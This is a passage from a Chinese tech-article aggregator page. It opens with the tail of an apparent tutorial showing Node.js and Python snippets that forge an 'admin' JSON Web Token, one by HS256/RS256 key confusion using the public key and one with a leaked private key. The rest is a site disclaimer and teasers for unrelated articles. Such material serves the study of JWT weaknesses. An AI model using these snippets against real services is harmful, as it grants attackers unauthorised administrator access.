var fs = require('fs');var privateKey = fs.readFileSync('./public.key');
var token = jwt.sign({ user: 'admin' }, privateKey, { algorithm: 'HS256' });
console.log(token)
  •  如果加密的密钥泄露了,我们可以利用该加密的密钥进行重组数据;生成我们想要的TOKEN.
import jwt
public = open('private.key', 'r').read()
payload={"user":"admin"}
print(jwt.encode(payload, key=public, algorithm='RS256'))

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/761485.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

数据挖掘之关联规则

“啤酒和尿布的荣誉” 概念 项 item&#xff1a;单个的事物个体 &#xff0c;I{i1,i2…im}是所有项的集合&#xff0c;|I|m是项的总数项集&#xff08;item set)/模式&#xff08;pattern)&#xff1a;项的集合&#xff0c;包含k个项的项集称为k-项集数据集(data set)/数据库…

Linux快速入门,上手开发 02.VMware的安装部署

倘若穷途末路&#xff0c;那便势如破竹 —— 24.3.21 一、VMware的作用 在Windows或IOS系统下&#xff0c;给本地电脑安装VMware虚拟机&#xff0c;用来在虚拟机上安装Linux系统&#xff0c;避免重复资源的浪费&#xff0c;可以在虚拟机上搭建Linux系统进行学习 二、VMware的安…

树莓派夜视摄像头拍摄红外LED灯

NoIR相机是一种特殊类型的红外摄像头&#xff0c;其名称来源于"No Infrared"的缩写。与普通的彩色摄像头不同&#xff0c;NoIR相机具备红外摄影和低光条件下摄影的能力。 一般摄像头能够感知可见光&#xff0c;并用于普通摄影和视频拍摄。而NoIR相机则在设计上去除了…

C语言疑难题:杨辉三角形、辗转相除求最大公约数、求π的近似值、兔子问题、打印菱形

杨辉三角形&#xff1a;打印杨辉三角形的前10行 /* 杨辉三角形&#xff1a;打印杨辉三角形的前10行 */ #include<stdio.h> int main(){ int i,j; int a[10][10]; printf("\n"); for(i0;i<10;i){ a[i][0]1; a[i][i]1; …

ROS机器人入门第一课:ROS快速体验——python实现HelloWorld

文章目录 ROS机器人入门第一课&#xff1a;ROS快速体验——python实现HelloWorld一、HelloWorld实现简介&#xff08;一&#xff09;创建工作空间并初始化&#xff08;二&#xff09;进入 src 创建 ros 包并添加依赖 二、HelloWorld(Python版)&#xff08;二&#xff09;进入 r…

Java JDK8新日期API

一、 JDK8 中增加了一套全新的日期时间 API&#xff0c;这套 API 设计合理&#xff0c;是线程安全的。 java.time – 包含值对象的基础包java.time.chrono – 提供对不同的日历系统的访问java.time.format – 格式化和解析时间和日期java.time.temporal – 包括底层框架和扩展…

考研数学老师怎么选❓看这一篇就够了

张宇、汤家凤、武忠祥、李永乐、杨超、王式安、方浩这些老师都有自己擅长的细分 比如张宇老师&#xff0c;杨超&#xff0c;汤家凤&#xff0c;武忠祥老师的高数讲的很好&#xff0c;李永乐老师是线代的神&#xff0c;王式安、方浩概率论讲的很好&#xff0c;所以对于不同的学…

【文末附gpt升级4.0方案】FastGPT详解

FastGPT知识库结构讲解 FastGPT是一个基于GPT模型的知识库&#xff0c;它的结构可以分为以下几个部分&#xff1a; 1. 数据收集&#xff1a;FastGPT的知识库是通过从互联网上收集大量的文本数据来构建的。这些数据可以包括维基百科、新闻文章、论坛帖子等各种类型的文本。 2…

【openCV】手写算式识别

OpenCV 机器学习库提供了一系列 SVM 函数和类来实现 SVM 模型的训练和预测&#xff0c;方便用户实现自己的 SVM 模型&#xff0c;并应用于分类问题。本文主要介绍使用 openCV 实现手写算式识别的工作原理与实现过程。 目录 1 SVM 模型 1.1 SVM 模型介绍 1.2 SVM 模型原理 2…

3.21系统栈、数据结构栈、栈的基本操作、队列、队列的基本操作------------》

栈 先进后出、后进先出 一、系统栈 大小&#xff1a;8MB 1、局部变量 2、未经初始化为随机值 3、代码执行到变量定义时为变量开辟空间 4、当变量的作用域结束时回收空间 5、函数的形参和返回值 6、函数的调用关系、保护现场和恢复现场 7、栈的增长方向&#xff0c;自高…

【Linux进程的状态】

目录 看Linux源码中的说法 如何查看进程状态&#xff1f; 各个状态的关系 僵尸进程 举个栗子 现象 僵尸进程的危害 孤儿进程 举个栗子 现象 进程的优先级 基本概念 为什么要有进程优先级&#xff1f; 查看系统进程 进程的大致属性 进程优先级vs进程的权限 Linu…

[Semi-笔记] 2023_TIP

目录 概要一&#xff1a;Conservative-Progressive Collaborative Learning&#xff08;保守渐进式协作学习&#xff09;挑战&#xff1a;解决&#xff1a; 二&#xff1a;Pseudo Label Determination for Disagreement&#xff08;伪标签分歧判定&#xff09;挑战&#xff1a;…

利用python进行接口测试及类型介绍

前言 其实我觉得接口测试很简单&#xff0c;比一般的功能测试还简单&#xff08;这话我先这样说&#xff0c;以后可能会删O(∩_∩)O哈&#xff01;&#xff09;&#xff0c;现在找工作好多公司都要求有接口测试经验&#xff0c;也有好多人问我&#xff08;也就两三个人&#x…

解决微信小程序代码包大小限制方法

1 为什么微信小程序单个包的大小限制为 2MB 微信小程序单个包的大小限制为 2MB 是出于以下几个考虑&#xff1a; 保证小程序的启动速度&#xff1a;小程序的启动速度是影响用户体验的关键因素之一。如果包太大&#xff0c;会导致小程序启动时间过长&#xff0c;从而影响用户体…

node安装

这里写目录标题 https://nodejs.cn/ https://registry.npmmirror.com/binary.html?pathnode/ https://registry.npmmirror.com/binary.html?pathnode/v11.0.0/

一、rv1126开发之视频输入和视频编码

RV1126 H264/HEVC编码流程 一、RV1126编码的流程图&#xff1a; 二、每个代码模块详细讲解 2.1. VI模块的创建 VI模块的初始化&#xff1a;关键在于VI_CHN_ATTR_S结构体&#xff0c;这个结构体是VI设置的结构体。这个结构体的成员变量包括&#xff1a;pcVideoNode&#xff0…

[力扣 129]求根节点到叶节点之和

题目描述&#xff1a; 思路&#xff1a; 可以采用递归回溯。递归访问左->右->根节点并记录路径。到叶节点后&#xff0c;计算数字并相加。 代码&#xff1a; class Solution:def sumNumbers(self, root: TreeNode) -> int:res 0path []def backtrace(root):nonl…

Autosar Crypto Driver学习笔记(二)

文章目录 Crypto DriverFunction definitionsGeneral APICrypto_InitCrypto_GetVersionInfo Job Processing InterfaceCrypto_ProcessJob Job Cancellation InterfaceKey Management InterfaceKey Setting Interface密钥设置接口Crypto_KeyElementSetCrypto_KeySetValid Key Ex…

RabbitMQ集群部署

集群部署 我们看看如何安装RabbitMQ的集群。 1.集群分类 在RabbitMQ的官方文档中&#xff0c;讲述了两种集群的配置方式&#xff1a; 普通模式&#xff1a;普通模式集群不进行数据同步&#xff0c;每个MQ都有自己的队列、数据信息&#xff08;其它元数据信息如交换机等会同…

2024年高压电工证模拟考试题库及高压电工理论考试试题

题库来源&#xff1a;安全生产模拟考试一点通公众号小程序 2024年高压电工证模拟考试题库及高压电工理论考试试题是由安全生产模拟考试一点通提供&#xff0c;高压电工证模拟考试题库是根据高压电工最新版教材&#xff0c;高压电工大纲整理而成&#xff08;含2024年高压电工证…